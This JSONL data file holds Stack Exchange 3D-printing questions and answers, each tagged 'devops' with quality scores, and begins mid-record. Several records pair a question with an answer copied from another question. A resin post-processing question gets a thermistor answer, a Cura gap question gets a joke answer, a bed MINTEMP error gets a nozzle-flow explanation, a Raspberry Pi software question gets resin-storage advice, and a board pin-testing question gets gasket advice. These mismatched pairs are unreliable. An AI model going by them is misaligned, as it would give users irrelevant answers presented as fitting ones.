"2026-01-17T15:21:12.224017"}
{"id": "hf_30be463ee728", "question": "<p>After a resin print completes, what is the expected process to finish the print? Is some cleaning expected? I also some manufacturers sell UV chambers to cure the print surface, is this required?</p>\n<p>I purchased a low-cost printer from China that is quite high-quality hardware, but sadly short on documentation. Insight on the proper post-print process is appreciated.</p>\n", "question_body": "", "answer": "It is indeed possible that the thermistor is broken (yet not sure). I am aware of two types of issues with thermistors:\nThe contact (soldering) is broken, usually due to the temperature extreme variations. The thermistor will indicate the maximum temperature in case of PTC or minimum temperature in case of NTC. In some cases, due to vibrations or other factor, the contact will eventually touch, showing improbable jumps of temperature.\nThe thermistor is broken internally. In that case it will just indicate a wrong temperature. I can't say if constant temperature or constant delta.\nFor how to troubleshot the component, however, EE.SE seems more convenient.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:12.249143"}
{"id": "hf_bfa6f9c9d443", "question": "<p>In all the bigger prints I print on my Ender 5 with PETG I have problems with warping and raft detachment during printing. I have a glass bed and I'm using Ultimaker Cura 4.6.1 standard printing settings for PETG (Recently I had some success using 245 °C nozzle temperature and 80 °C build plate).</p>\n<p>Any ideas how to reduce those problems?</p>\n", "question_body": "", "answer": "This sounds like a bed leveling issue.  As reported by others, I get much less warping with PETG than with ABS or even PLA, and deal with too much adhesion with PETG rather than too little.  With a Reprap x400, I printed a faceplate for the extruder to hold a electronic drop indicator.  This gives me much higher precision leveling. Of course, I remove the drop indicator after leveling.\nIf leveling isn't the issue, then you may be printing too fast.  The recommendations I've seen are to print PETG at 50 mm/s or less.  I print a a lower speed than that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:12.324437"}
{"id": "hf_02c7b22d7565", "question": "<p>Is it possible to use a standard color inkjet cartridge to color filament for full color 3D printing?</p>\n<p>It seems like a natural next step to me, but I haven't seen much of anything on this. (Just a few ancient experiments on reprap wiki.)</p>\n<p>I've learned that some inkjet printers have the heads built into the cartridge whereas others it's part of the printer.  I think the former would be more appropriate.</p>\n<p>Unfortunately I haven't seen anything on actually how to drive the cartridges.  I'm guessing the mfgr's treat this as a trade secret (?)  Still, there's got to be some overseas reverse-engineer... something... on this, right?</p>\n<p>Anybody have resources/notes they'd like to share?</p>\n", "question_body": "", "answer": "I don't think it makes a lot of sense - you don't need that kind of resolution, and getting a sufficient amount of ink that way to coat the filament would be hard. If you're going to be switching colors rapidly, you'd need a long purge between colors anyway. I also doubt the type of ink is suitable for sticking to filament materials.\nIf you really want an automated filament coloring system, I would do it with Sharpies and actuators to move individual ones on/off of the filament as it passes through. Coloring PLA with Sharpies prior to printing is a known-working technique, and there are even models available on Thingiverse for holders to keep them in place while the filament runs through. Designing the actuators to switch individual ones on/off, and the firmware controls for them, would be the natural next step.\nHere are some examples I did with manual coloring of natural translucent PLA (from left to right: uncolored, silver Sharpie, and red Sharpie):\nI didn't color a long enough segment of filament or properly purge for any of them, which is why the coloring is inconsistent/incomplete. But the technique definitely works.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:12.366851"}
{"id": "hf_4c606701202d", "question": "<p>If I need to 3D print a hollow box that can not have any light permeating into the box, what would be the best course of action? Should I 3D print the hollow box as a whole or print out the 6 sides individually and put them together at the end? And if I do the second option, what would be the best way to put the pieces together (design/connect grooves or use glue)?</p>\n<p>I am very new to 3D printing so any feedback would be very much appreciated!</p>\n", "question_body": "", "answer": "Print it as a whole object\nUse 20% infill.\nProfit!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:12.427878"}
{"id": "hf_c3c97e052647", "question": "<p>I already tried a lot settings in Cura and try to search for a solution but without success. Maybe someone got this issue and solved it.</p>\n<p>I want to prevent Cura from printing such gaps at the wings to make it in one run. With ironing one run would (hopefully) bring better results. See the animation for what I mean.</p>\n<p><a href=\"https://i.stack.imgur.com/4C91H.gif\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/4C91H.gif\" alt=\"enter image description here\" /></a></p>\n<p>Why want to do this? I hope to prevent thes ironing issues shown in the following pic.</p>\n<p><a href=\"https://i.stack.imgur.com/Tq5vX.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Tq5vX.jpg\" alt=\"enter image description here\" /></a></p>\n", "question_body": "", "answer": "Print it as a whole object\nUse 20% infill.\nProfit!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:12.464137"}
{"id": "hf_86ac92b4a5c2", "question": "<p>Im using Prusa Slicer 2.1 for my FlyingBear Ghost 4.</p>\n<p>I just changed my 0.4 mm nozzle for a 0.2 mm but it seems to jam in the heater probably due to too much filament trying to get out by the nozzle. Where is the setting to reduce the filement speed and how much I should reduce it?</p>\n<p>Here are my settings:\n<a href=\"https://drive.google.com/file/d/1j_RsFQI1EtfSzptggYjGehpdlJlX7rsK/view?usp=sharing\" rel=\"nofollow noreferrer\">Config.txt</a></p>\n", "question_body": "", "answer": "0.2 mm and 0.4 mm are half the diameter, but the maximum flow is not just half: Flow scales with the area. The 0.4 mm nozzle has an area 4 times as the 0.2 mm one:\n$\\frac{A_1} {A_2}=\\frac {0.2^2}{0.1^2}=4$\nYou need to reduce\n```\nprint speed\n```\nor the\n```\nvolumetric flow\n```\nby this factor or make sure your printer can handle the increased flow by reducing the viscosity of the melt - for example by increasing the print temperature.\nAlso note, that a 0.2 mm nozzle can't be operated with layer heights above 0.15 mm.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:12.513482"}
{"id": "hf_4003b3cfe918", "question": "<p>I am using &quot;Pretty PETG&quot; along with PrusaSlicer's consecutive print mode.</p>\n<p>What I am noticing is that upon finishing the first print, the printer hits <code>MINTEMP BED Fixed</code>. I'm not sure if it's immediate because I let the prints run overnight but I assume the bed cools down and then the error is hit.</p>\n<p>I'm just starting to learn G-code and my initial thought was there's an errant bed temperature instruction but the only <code>M140 S0</code> instructions I see are in the <code>end_gcode</code> and near the bottom of the file. Maybe there a <code>goto</code> in G-code which may be running after <code>M140 S0</code> which then causes the <code>MINTEMP BED</code> issue? Perhaps there's something else going on?</p>\n", "question_body": "", "answer": "0.2 mm and 0.4 mm are half the diameter, but the maximum flow is not just half: Flow scales with the area. The 0.4 mm nozzle has an area 4 times as the 0.2 mm one:\n$\\frac{A_1} {A_2}=\\frac {0.2^2}{0.1^2}=4$\nYou need to reduce\n```\nprint speed\n```\nor the\n```\nvolumetric flow\n```\nby this factor or make sure your printer can handle the increased flow by reducing the viscosity of the melt - for example by increasing the print temperature.\nAlso note, that a 0.2 mm nozzle can't be operated with layer heights above 0.15 mm.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:12.544482"}
{"id": "hf_ba495251506e", "question": "<p>I took the plunge and bought a resin printer. I was wondering if I could use full strength home-brew vodka at 90 % instead of using isopropyl alcohol before anything is added to clean prints with?</p>\n<p>I cannot seem to find anywhere or anyone that has tried this.</p>\n", "question_body": "", "answer": "Isopropyl-Alcohol - Propan-2-ol - and Ethyl alcohol - Ethan-1-ol - are different chemically. As a secondary alcohol, Propan-2-ol has quite different solubility of different materials than ethyl-alcohol.\nNow, let's look at home made alcoholic destillate. That stuff is, if done in one refraction and without tossing the first low temperature part, some percentages Metanol, Ethyl alcohol and maybe some water. That has not the same solvent properties as Propan-2-ol.\nWhile it\nmight\nwork, nobody will sign a guarantee that it doesn't negatively impact your print.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:12.581536"}
{"id": "hf_1ac0a72a0032", "question": "<p>I'm trying to connect my PC to my Anet A8 through <a href=\"https://www.pronterface.com/\" rel=\"nofollow noreferrer\">Pronterface</a> on Ubuntu.</p>\n<p>But when I'm clicking on the &quot;connect&quot; button in Pronterface, all I see is &quot;<em>Connecting ...</em>&quot;.</p>\n<p>What I did so far</p>\n<ul>\n<li>added my user to the <code>dialout</code> group</li>\n<li>tried to run it as <code>root</code></li>\n<li>tried different baudrates</li>\n<li>switch to different USB cables</li>\n<li>tried to install and run it on a different machine and different OS (Windows) with nearly the same result (additionally I see repeated lines with <code>M105</code>, but no response)</li>\n</ul>\n<p>The printer itself works - I want to connect to it, to &quot;PID tune&quot; it, because I added a different fan duct.</p>\n<p><strong>How can I make sure the board isn't somewhat damaged, and its just my setup?</strong></p>\n", "question_body": "", "answer": "You may need to install a device driver for the USB interface chip that your printer uses. I'm guessing that the Anet A8 uses a clone of the FTDI FT232RL chip (which was and may still be common with cheap Chinese printers).\nIf this is the case, you will need to install the appropriate driver from this site:\nFTDI Chip Virtual COM Port Drivers\n.\nEdit: I can confirm that Pronterface will not work with my Tronxy X1 (which uses an FT232RL clone) on the latest version of Ubuntu.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:12.629283"}
{"id": "hf_8c248a8e3551", "question": "<p>So I have some old filament that I originally got for a 3D pen. The problem is it's unlabeled and I haven't been able to find anything that might help me distinguish whether it's PLA or ABS. The bag it all came in says that wherever this filament came from only makes PLA and ABS so it's got to be on of those two.</p>\n<p>I have a roll of PLA in my 3D printer right now, but I can't tell if it's the same as the filament I have for the 3D pen. It's been a while since I've used the 3D pen, but I do remember whenever you used it, it would produce a very very bad smell. I've also noticed that the filament seems to be more flexible that the PLA in my machine. This makes me think it could be ABS, because the PLA smells far better than what I remember the 3D pen smelling like, and it's more flexible.</p>\n<p>I also don't really want to do any heat tests or anything on the filament, so if the smell and flexibility is enough to determine which filament it is, could anyone tell me?</p>\n", "question_body": "", "answer": "Mick's suggestion is a good one. PLA may shed some color in acetone, but ABS will dissolve completely in a suitable amount of time. If you have dark filament, you can test by flexing the filament until it breaks. ABS will sometimes/often/usually fatigue with a white break line, while PLA does not exhibit this tendency as much.\nPLA has a somewhat sweet smell, which may be the corn sugars burning off, while ABS has a much more chemical-like odor.\nNot doing heat testing does limit your options.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:12.653549"}
{"id": "hf_89779c6524d6", "question": "<p>What materials work well for lubricating moving PLA, ABS, or PETG parts? I'm talking items like the\nthe <a href=\"https://www.thingiverse.com/thing:53451\" rel=\"nofollow noreferrer\">Gear Bearings</a> or <a href=\"https://www.thingiverse.com/thing:4575774\" rel=\"nofollow noreferrer\">Print in Place Engine</a>.</p>\n<p>I've played with a few lubricants on my own, including hand lotion, trumpet valve oil, and carmex/vaseline. Of these, the vaseline has worked best for me so far, but I'd like to hear what has worked well for others, or especially if there's anyone here who understands the chemistry involved and could explain what to look for in different situations.</p>\n", "question_body": "", "answer": "When dealing with lubrication of plastics, any solvent or reactive substance is to be avoided. Petroleum is risky and Vaseline™ is a brand name for petroleum jelly.\nI've had quite good results using inert lubrication such as PTFE and silicone based lubes. PTFE is the generic term for\nTeflon­™\nand is quite a good lubricant. There are both silicone and PTFE greases for higher viscosity applications.\nFrom the Teflon™ link:\nTeflon's amazing properties are down to its structure. Like most\npolymers, Teflon has a carbon-based chain. However, instead of\nreactive C-H bonds which occur in most polymers, Teflon has all its\nhydrogens replaced by fluorines. These strong C-F bonds are extremely\nresistant to attack by any other reagents, making Teflon very inert.\nThis means that no other molecules will react with or stick to Teflon.\nThe exception is Teflon itself, which will stick to itself quite\nreadily, forming thick layers or solid blocks. With a friction\ncoefficient of <0.1, Teflon has the second lowest friction coefficient\n(surpassed only by diamond-like carbon), which makes it perfect for\nnon-stick items e.g. pans. DuPont invented the non-stick pan coated\nwith Teflon in 1956 and have manufactured it ever since. Teflon\ncoatings are so slippery that they are the only material that a gecko\ncannot stick to.\nWho knew that gecko testing was a thing?\nWikipedia\nfor silicone grease:\nAlthough silicones are normally assumed to be chemically inert,\nseveral historically significant compounds have resulted from\nunintended reactions with silicones.\nPowdered graphite is also a good lubricant if one can tolerate loose powder in some constructions.\nI've read of others using lithium grease, but not for plastic lubrication.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:12.677694"}
{"id": "hf_955c5863adc5", "question": "<p>Not storing left-over photopolymer resin back with pristine resin in its original shipping can seems to be a common recommendation.</p>\n<p>What is the best practice here? Store in a separate bottle and pour this &quot;once around the block&quot; resin first for the next print?</p>\n", "question_body": "", "answer": "Considerations for storing resin include using a light-tight bottle, preventing stray ultraviolet radiation from prematurely curing the resin.\nYou'll also note that users will filter the resin through a fine mesh filter. I've seen some videos in which the user pours through coffee filters to remove as many particulates as possible.\nLeft-over resin that has been carefully filtered is effectively the same as fresh-from-the-bottle material, from a purely technical view, but you can pick up contaminants that bypass the filter.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:12.702212"}
{"id": "hf_f7ca07741051", "question": "<p>My only functional computer at the moment is a raspberry pi, and I was wondering if there was any software that supported it. My printer is a Newmatter mod-t, but I might be able to modify other software to support it</p>\n", "question_body": "", "answer": "Considerations for storing resin include using a light-tight bottle, preventing stray ultraviolet radiation from prematurely curing the resin.\nYou'll also note that users will filter the resin through a fine mesh filter. I've seen some videos in which the user pours through coffee filters to remove as many particulates as possible.\nLeft-over resin that has been carefully filtered is effectively the same as fresh-from-the-bottle material, from a purely technical view, but you can pick up contaminants that bypass the filter.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:12.726405"}
{"id": "hf_f426abe50d22", "question": "<p>I want to print a part from Thingiverse. In the description, the creater writes that he used SBS to print it. I did some research because I never heard of SBS.\nI found a description on Filaments.directory that describes it as:</p>\n<blockquote>\n<p>Poly(styrene-butadiene-styrene) is a hard, durable rubber that is commonly used for shoe soles, tires and other products that experience high wear.</p>\n</blockquote>\n<p>But if I search for SBS filaments to buy, there only shows ABS up. Did I misunderstood something and SBS  is the same as ABS.</p>\n", "question_body": "", "answer": "As you found and according to this site, SBS is a\nStyryne-Butadiene\npolymer that only contains Styrene and Butadiene chains interlinked. This is similar to ABS, but not identical.\nSome people have access to filament manufacturing machines or use pellet extruders, however, googling for\n\"SBS\" filament\nI was able to source at the moment two sites with information:\nCraftbot.nl\nis a reseller who also explain why this stuff is such expensive with 40€ for 750 grams\nthe\nvery site you had (apparently defunct, no waybackmachine grab)\n, which tells us there is exactly one brand:\nFilamentarno\nfrom Russia, but the link to the amazon marketplace from there shows no availability of this product at all.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:12.750694"}
{"id": "hf_2edfb605854b", "question": "<p>Of course I'm referring to side by side and not stacking or overlapping.  200 x 200 mm PEI and Kapton sheets are more readily available than 400 x 400 sheets.  I'm wondering if anyone has tried this and if the edges of the sheets cause a problem.</p>\n", "question_body": "", "answer": "I haven't tried such a thing, but a speculative answer covering the constraints and expected failure modes may suffice here.\nUnless the sheets have squared (rather than rounded) corners, the corners will almost certainly be a problem. In particular you'd end up with a hole right at the middle of the bed.\nIf the sides aren't entirely square (perpendicular) with each other then you'll have large gaps at one end or another.\nAs Trish noted in a comment, it's also possible that you may hit problems due to mismatch in thickness between the different sheets, although I'd expect these are fairly well-controlled in the manufacturing process; otherwise I'd expect bed leveling issues even with just a single sheet. If you do hit this kind of issue, it may be possible to avoid it with shimming of some sort.\nAssuming you can avoid all of the above potential problems, I would expect what you've proposed to work reasonably well, especially if you're ok with very minor surface defects at the seams.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:12.774827"}
{"id": "hf_6916c26a8a63", "question": "<p>My goal is to have a speaker inside a PLA casing to produce a nice hearable sound from a submersible item.</p>\n<p>I intended to produce that sound from a Piezo buzzer stuck on a membrane held tight in hollow place between two pieces, but the result is unsatisfactory as the sound gets muffled to inaudible levels.</p>\n<p>Is there any known 3D printable methods to permit for a sound to be heard from PLA?</p>\n<p><a href=\"https://i.stack.imgur.com/TLaB3.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/TLaB3.jpg\" alt=\"enter image description here\" /></a></p>\n", "question_body": "", "answer": "In space, no one can hear you scream. That's because there's no air to be vibrated, which is part of the definition of sound.\nIn the case of your model, the described diaphragm will generate sound because it is surrounded by air. The vibrations in the air will transfer (and reflect) from the PLA shell you've created.\nIn order to hear as much sound as possible, you have to have as thin a shell as possible and only one of them. It would be more effective if you could incorporate the membrane into the shell, which eliminates the sound damping effect of the plastic sphere.\nBarring that option, one layer (vase mode, but probably not) would present the created sound with a much less massive amount of plastic to vibrate.\nAdditionally, PLA is not known for being water tight. One can apply epoxy or other sealants to make it so, but that will add mass to the overall equation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:12.810938"}
{"id": "hf_d3b3fcc022c6", "question": "<p>I have a 3D print where there are 5 holes with a diameter of 4 mm in a cup, and I would like liquid to flow through all 5 holes at once while slowly draining the cup (by slowly I mean: just take a few seconds and not drain instantly). Therefore the holes can not be very large.</p>\n<p>When I fill water in the cup it drains fine until there is a small amount of water left, and then it just stops with a small layer of water flowing over the holes.</p>\n<p>I'm guessing it is due to surface tension and not enough pressure from water above to push the water through...</p>\n<p>Is there a hole design that fixes this problem? I don't know what to Google or if this is the right place to ask the question. It just takes too long to guess my way through and print every attempt at the right size or shape of hole (which I have done so far and still got nothing).</p>\n", "question_body": "", "answer": "What you encounter there is a combination of Adhesion, Cohesion, and Capillary Force.\nCohesion is what holds the water together. Adhesion is the force to retain water against a wall or hanging from a pen's end, it is proportional to the surface wetted. Capillary Force is the resulting effect where water moves up through a thin tube, it is anti-proportional to the diameter and in the opposite direction of the weight (force). Their relation can be shown in this picture, where a droplet hangs on the end of a glass rod, which has a capillary in it:\nHow to reduce the water sticking in the cup then?\nMake the straight part of the bore as short as possible. This can be done by having a thin cup. The shorter the hole, the less surface there is the water can adhere to vertically, and you might overcome capillary force.\nSmooth the hole. Maybe print it 3.5 mm and drill it up to your 4 mm diameter. This reduces adhesion.\nSmooth the inside surface. Reducing the adhesion to the inside by having less steps.\nChamfer the inside of the holes. This alters the whole geometry and flow setup in the very low water level case, especially when the surface separates into several areas, above each hole. Then the larger volume belonging to each hole on the inner side means there is a little more pressure and you can get out some more water - and it also shortens the distance the hole has to bridge.\nmake sure there is some slope everywhere inside so that the water will collect in one of the holes.\nAn example for a (non measured) design which relies heavily on chamfering to guide the water to the already chamfered holes and then keeps the straight section as short as possible could look like this: the central hole has a very wide chamfer, the whole plate directs water to the center and each of the other holes has a chamfer to guide out water.\nHowever, there is a lower limit to where just tweaking the design will workd, which is based on cohesion. Cohesion is what results in surface tension and viscosity. You can only shift those limiting factors by altering the properties of the liquid, for example by adding an agent that lowers the surface tension and viscosity (soap).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:12.890929"}
{"id": "hf_c6e0589cb8ec", "question": "<p>I would like to create a case or a box which has two holes for incoming and exiting water. I want the box to be opened and closed. Therefore it is good to be something like a treasure box.</p>\n<p>Is there a way to design the lid of the box to prevent water from leaking around the areas where the box and the lid are meeting without using glue?</p>\n<p><a href=\"https://i.stack.imgur.com/HYo0p.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/HYo0p.png\" alt=\"enter image description here\" /></a></p>\n", "question_body": "", "answer": "\"Completely\" is always relative, but for water at the pressures involved it's probably achievable. Normally you need some sort of\ngasket\n(material that can bend/compress to slight imperfections in the mating surfaces), and a means of holding the two surfaces tight against the gasket, to get such a seal.\nWith 3D printing, it's plausible that the print itself could be sufficiently non-rigid to achieve this, if you have a way of keeping the lid and box pressed tightly against each other - bolts through the lid, clips around the edges, etc. But it's unlikely to work well.\nI would either print I suitable gasket in TPU, or cut one from some suitable material if you don't have the capability to print with TPU. Either way you still need to design your box and lid so that they're pressed tightly against the gasket.\nOne possible frame challenge would be doing a round box instead, with a circular threaded lid. It's likely that you could achieve a decent seal for your purposes without any gasket just by tightening the threads, and if not, you still have a really good setup for use with an added gasket.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:12.927343"}
{"id": "hf_ac5fef757c0b", "question": "<p>I have an SKR PRO control board with a dead (shorted, it's burning hot) main processor. I ordered a new board, it was my mistake.</p>\n<p>The voltage regulators work, so I ordered a replacement STM32F407 processor from STM (a free sample actually) and I'll repair the board in my free time.</p>\n<p>How can I test all pins of the new board, so that I can ensure the board is working when I'll sell it/when I'll use it for my next project?</p>\n<p>I think that programmatically turning on and off each pin would be enough, then I would use an oscilloscope or a LED to verify the result. The pins which have special functions (heater, fan, MOSFET in general) would be tested accordingly, but I still need the pulsating input.</p>\n", "question_body": "", "answer": "\"Completely\" is always relative, but for water at the pressures involved it's probably achievable. Normally you need some sort of\ngasket\n(material that can bend/compress to slight imperfections in the mating surfaces), and a means of holding the two surfaces tight against the gasket, to get such a seal.\nWith 3D printing, it's plausible that the print itself could be sufficiently non-rigid to achieve this, if you have a way of keeping the lid and box pressed tightly against each other - bolts through the lid, clips around the edges, etc. But it's unlikely to work well.\nI would either print I suitable gasket in TPU, or cut one from some suitable material if you don't have the capability to print with TPU. Either way you still need to design your box and lid so that they're pressed tightly against the gasket.\nOne possible frame challenge would be doing a round box instead, with a circular threaded lid. It's likely that you could achieve a decent seal for your purposes without any gasket just by tightening the threads, and if not, you still have a really good setup for use with an added gasket.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:12.950821"}
{"id": "hf_f85455e0dfe7", "question": "<p>I'm trying to build a DIY 3D printer for myself. I've been exploring many different styles of printers and found this type of printer that has a fixed bed that stays fixed in one place and the whole gantry moves which includes all axes.</p>\n<ul>\n<li>Why is this so rare?</li>\n<li>Are there flaws in this design?</li>\n<li>Will print quality be affected by using this approach?</li>\n</ul>\n<p>Check out this video for reference and skip to 10:50: <div class=\"youtube-embed\"><div>\r\n                <iframe width=\"640px\" height=\"395px\" src=\"https://www.youtube.com/embed/XeX7QthGKpA?start=1\"></iframe>\r\n            </div></div></p>\n", "question_body": "", "answer": "Why is this so rare?\nSuch kind of printers usually harder to assembles, calibrate, and maintain because 3 axes machine is a bit more complex than 2 axes. For instance, it's can be tricky to move an entire extruder among all 3 axis and some of such printer's designs may require even dedicated exruder's design like Bowden Extruders.\nAre there flaws in this design?\nThe key disadvantage of such kind designs is complexity with moving of an extruder among all 3 axes. Moving platform by at least one axis simplifies that.\nWill print quality be affected by using this approach?\nIt depends on the exact printer's design, so, potentially you can have issues with ease of assembling and maintenance due to more complicated construction and as a consequence higher risk of low printing quality due design, assembly or configuration mistakes.\nOn the other hand, if you already have some device with precise enough 3 axis machine, like CNC milling machine, you can upgrade it to 3D printer by installing an extruder, however, it would also require update of software and, probably, electronics.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:12.987140"}
{"id": "hf_8dd3d1b8be86", "question": "<p>I am running an Ender 3 pro with an Octoprint connected. I accidentally set the print speed too slow in Cura and the print will take very long. Is there a Marlin command I can issue to the printer to speed it up without stopping the print?</p>\n", "question_body": "", "answer": "yes\nPrint speed is a setting that can be altered by just turning the click-wheel of the Ender 3. You don't need to push it to gain access to menus. A turn to the right does increase the speed, left lowers it. It is applied only some moments after\nstopping the turning - then the firmware does inject a\n```\nM220\n```\ncommand as the next line. This means the current running movement is ended with the last set speed, the new speed is set and the following command will be done with the new speed.\nAs towe correctly states, one can also send a\n```\nM220\n```\ncommand to the printer via a terminal, but then you need to have one set up\nbefore\nthe print starts, as plugging in a terminal will\nreset\nyour printer and abort the print!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:13.023611"}
{"id": "hf_29418ab9f672", "question": "<p>Assuming a Cartesian printer with a belt and smooth rod design in which one axis moves another (i.e. the X-axis rails 'sit' on the Y-axis rails), what are the main considerations in sizing the rods and belts?  For example, given a base design using 8 mm diameter rods and 6 mm belts (assume these are the limiting factors of the printer and that the frame, etc. can handle whatever you throw at it), what is roughly the maximum load, print speed and build size that this should be expected to support?  If you were to increase the rod diameters to 10 mm or even 12 mm on one or both axes (assume the steppers could handle the increased load), what would the increased rigidity buy you in terms of maximum speed and/or build size and would 6 mm belts still be appropriate?  Ballpark calculations or rules of thumb are fine as I understand the variables are likely not trivial and am looking more for a rough range of guidance to understand the trade-offs involved.</p>\n", "question_body": "", "answer": "8 mm rods and 6 mm GT2 belts are generally accepted as a good tradeoff between price and performance, an exact calculation is possible but might not be very relevant if another part is flexing. Also, generally speaking, the smaller the part the sooner it will wear out of specification. Thus your service interval might be higher compared to an over-engineered printer.\nIn short, it depends on what your goal is, if you desire low maintenance and accurate machine, you might be better off with heavier gauge parts. Obviously, this will also affect the speed of printing.\nA 6 mm GT2 belt might have a higher stretch factor compared to a 10 mm belt, but can be mitigated by adjusting the acceleration. In addition, a 10 mm belt has a larger pulley reducing the number of steps per mm, lowering precision. As such you might be better of using two 6 mm belts.\nIncreased rod size for the print bed will not affect printing speed much but might help with accuracy since the bending modulus is lower. Play around with the calculators below to get an idea of the force your beam will have to withstand. That said, there are a lot of other factors that will flex under load, for example, the bed leveling springs. You can replace them with solid spacers, but that might warp the bed when it heats up.\nhttps://www.engineering.com/calculators/beams.htm\nhttps://www.omnicalculator.com/physics/acceleration\nTo conclude, I would use the calculators to figure out if the 8 mm rods are within tolerance for the intended speeds and load, but don't forget to look at the overall picture. The quality of parts you choose is one such thing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:13.060058"}
